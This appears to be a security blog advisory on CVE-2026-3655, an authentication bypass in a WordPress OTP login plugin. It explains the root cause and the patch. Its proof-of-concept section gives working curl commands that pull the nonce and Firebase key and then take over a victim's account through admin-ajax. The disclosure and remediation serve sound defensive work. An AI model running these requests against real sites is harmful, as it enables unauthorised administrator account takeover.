OTP Login With Phone Number, OTP Verification WordPress plugin banner

CVE-2026-3655: Unauthenticated Auth Bypass in OTP Login Plugin (CVSS 9.8)

Updated 7 min read

CVE-2026-3655 is a CVSS 9.8 Critical unauthenticated authentication bypass in the OTP Login With Phone Number, OTP Verification WordPress plugin. An attacker with no credentials can take over any registered WordPress account — including administrator accounts — by verifying their own Firebase OTP and supplying the victim’s phone number in the same request.

Vulnerability Summary

FieldValue
Plugin NameOTP Login With Phone Number, OTP Verification
Plugin Sluglogin-with-phone-number
CVE IDCVE-2026-3655
CVSS Score9.8 (Critical)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeUnauthenticated Authentication Bypass (Improper Authentication)
Affected Versions1.8.50 – 1.8.60
Patched Version1.8.61
PublishedMay 28, 2026
Researcherlucky_buddy
Wordfence AdvisoryLink

Description

The OTP Login With Phone Number, OTP Verification plugin allows WordPress users to sign in using a phone number and a one-time OTP. Versions 1.8.50 through 1.8.60 introduced Firebase as an OTP provider. The Firebase verification flow in the lwp_ajax_register AJAX handler does not bind the Firebase session to the phone number supplied in the request. The idehweb_lwp_activate_through_firebase() function confirms that a Firebase OTP session is legitimate, but the phoneNumber returned by Firebase is never compared against the victim’s stored phone number. An unauthenticated attacker can verify their own Firebase session and supply the victim’s phone number in the same request to authenticate as that victim.

Technical Analysis

Plugin Architecture

The plugin registers its AJAX handler for both authenticated and unauthenticated users in login-with-phonenumber.php:

// login-with-phonenumber.php:69,77
add_action('wp_ajax_lwp_ajax_register', array($this, 'lwp_ajax_register'));
add_action('wp_ajax_nopriv_lwp_ajax_register', array($this, 'lwp_ajax_register'));

The nopriv registration means any visitor — without any WordPress session — can call admin-ajax.php?action=lwp_ajax_register.

How the Nonce is Obtained

The handler at inc/ajax-handlers.php:552 requires a nonce:

if (!wp_verify_nonce(sanitize_text_field(wp_unslash($_GET['nonce'])), 'lwp_login')) {
    wp_die('Busted!');
}

This looks like a security check, but it is not authentication. The nonce value for lwp_login is embedded in every page that renders the plugin’s login form via wp_localize_script:

// inc/frontend-functions.php:160-161
$localize['nonce'] = wp_create_nonce('lwp_login');
wp_localize_script('idehweb-lwp', 'idehweb_lwp', $localize);

Any visitor can load the login page, read idehweb_lwp.nonce from the page’s JavaScript, and use it in the request. The nonce is a CSRF token — it proves the request originated from a browser that loaded the page, not that the requester is a legitimate user.

The Firebase Authentication Flaw

When method=firebase is supplied, the handler calls idehweb_lwp_activate_through_firebase() at line 649:

// inc/ajax-handlers.php:649
$response = $this->idehweb_lwp_activate_through_firebase($verificationId, $secod);

This function posts the attacker-supplied verificationId (Firebase sessionInfo) and secod (the OTP code) to the Firebase API:

// inc/ajax-handlers.php:1167-1176
function idehweb_lwp_activate_through_firebase($sessionInfo, $code)
{
    $response = wp_safe_remote_post(
        "https://www.googleapis.com/identitytoolkit/v3/relyingparty/verifyPhoneNumber?key=" . $options['idehweb_firebase_api'],
        [
            'body' => wp_json_encode([
                'code'        => $code,
                'sessionInfo' => $sessionInfo
            ])
        ]
    );
    $body = wp_remote_retrieve_body($response);
    return json_decode($body);
}

Firebase returns a JSON object that includes idToken and phoneNumber. The phoneNumber field is the number associated with the attacker’s Firebase OTP session — their own number.

Root Cause: Missing Phone Number Binding

After Firebase confirms the OTP is valid, the plugin looks up the target user using the attacker-supplied $_GET['phone_number']:

// inc/ajax-handlers.php:603,661-665 (vulnerable version 1.8.60)
$username_exists = $this->phone_number_exist($phone_number); // <-- attacker-controlled

// ... Firebase verification (idehweb_lwp_activate_through_firebase) ...

// $response->phoneNumber is the ATTACKER'S phone, never checked!
$user = get_user_by('ID', $username_exists); // <-- victim's account
wp_set_current_user($user->ID);
wp_set_auth_cookie($user->ID, true);         // <-- logged in as victim

The code never compares $response->phoneNumber (the phone number verified with Firebase, belonging to the attacker) against $phone_number (the victim’s phone number passed in the request). Any successful Firebase OTP — for any phone number — unlocks access to any WordPress account that has a phone number stored in user meta.

An additional detail: when Firebase is configured, the plugin also exposes the Firebase API key in the page source via wp_localize_script at inc/frontend-functions.php:156:

$localize['firebase_api'] = $options['idehweb_firebase_api'];

This means the attacker does not need their own Firebase project. They can use the site’s own Firebase API key to complete the OTP flow with their phone number.

Proof of Concept

Disclaimer: This PoC is provided for educational and security research purposes only. Do not use it against systems you do not own or have explicit written permission to test.

Prerequisites:

  • Target site running OTP Login With Phone Number, OTP Verification version 1.8.50 – 1.8.60
  • Firebase OTP authentication enabled in the plugin settings
  • The victim account has a phone number stored in user meta (set during phone login registration)

Step 1 — Extract the nonce and Firebase API key from the login page.

Load any page that renders the plugin’s login form. In the page source, look for the idehweb_lwp JavaScript object:

curl -s https://TARGET_SITE/ | grep -o '"nonce":"[^"]*"'
# Output: "nonce":"ab12cd34ef"

curl -s https://TARGET_SITE/ | grep -o '"firebase_api":"[^"]*"'
# Output: "firebase_api":"AIzaSy..."

Step 2 — Obtain a Firebase sessionInfo and OTP for your own phone number.

Use the Firebase REST API (v1 Identity Toolkit) to send an OTP to your own number. This step requires completing reCAPTCHA in a browser, so it is typically done through the Firebase JavaScript SDK in a controlled browser session. After the OTP is sent to your phone, you receive:

  • sessionInfo (a long base64 token, this is the verificationId)
  • The 6-digit OTP code on your own phone (secod)

Step 3 — Send the exploit request with the victim’s phone number.

Use your own Firebase sessionInfo and OTP, but supply the victim’s phone number:

# NONCE, VERIFICATION_ID, OTP_CODE extracted from Steps 1 and 2
# VICTIM_PHONE: the phone number the victim registered with (digits only, no leading zeros)

curl -s "https://TARGET_SITE/wp-admin/admin-ajax.php" \
  --get \
  --data-urlencode "action=lwp_ajax_register" \
  --data-urlencode "method=firebase" \
  --data-urlencode "phone_number=VICTIM_PHONE" \
  --data-urlencode "verificationId=ATTACKER_VERIFICATION_ID" \
  --data-urlencode "secod=ATTACKER_OTP_CODE" \
  --data-urlencode "nonce=NONCE" \
  -c cookies.txt

Step 4 — Verify the takeover.

A successful response returns "loggedin":true and a WordPress session cookie is saved in cookies.txt:

{
  "success": true,
  "loggedin": true,
  "message": "loading..."
}

Use the cookie to access the victim’s account:

curl -s "https://TARGET_SITE/wp-admin/" -b cookies.txt | grep "Dashboard\|Howdy"

If the output shows the WordPress Dashboard, the account takeover is complete.

Patch Analysis

Version 1.8.61 adds a phone number binding check immediately after Firebase confirms the OTP. The fix appears in both Firebase code paths in inc/ajax-handlers.php:

} else {
+    $firebase_phone = isset($response->phoneNumber) ? ltrim($response->phoneNumber, '+') : '';
+    $requested_phone = $phone_number;
+
+    if (empty($firebase_phone) || (
+            $firebase_phone !== $requested_phone &&
+            !str_ends_with($firebase_phone, $requested_phone)
+        )) {
+        wp_send_json([
+            'success' => false,
+            'message' => __('Phone number mismatch. Verification failed.', 'login-with-phone-number')
+        ]);
+    }
+
     $user = get_user_by('ID', $username_exists);
     if (!is_wp_error($user)) {
         wp_set_current_user($user->ID);
         wp_set_auth_cookie($user->ID, true);

The fix extracts phoneNumber from the Firebase response (stripping the + country-code prefix) and compares it to the $phone_number supplied in the request. The str_ends_with check handles format differences where the site stores numbers without a country code but Firebase returns the full international format (e.g., 14155552671 ends with 4155552671). If the numbers do not match, the request is rejected before any session is set.

Timeline

DateEvent
May 28, 2026Vulnerability publicly disclosed by Wordfence
May 29, 2026Version 1.8.61 released with the fix
June 7, 2026This blog post published

Remediation

Update the OTP Login With Phone Number, OTP Verification plugin to version 1.8.61 or later. Go to WordPress Admin → Plugins → Updates and apply the update. No configuration changes are needed beyond the update.

References

  1. Wordfence Advisory — CVE-2026-3655
  2. CVE Record — CVE-2026-3655
  3. Vulnerable code — ajax-handlers.php#L649
  4. Vulnerable code — ajax-handlers.php#L659
  5. Vulnerable code — ajax-handlers.php#L1167
  6. Patch changeset on WordPress Trac
  7. Plugin page on WordPress.org
Share this post: X / Twitter LinkedIn

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee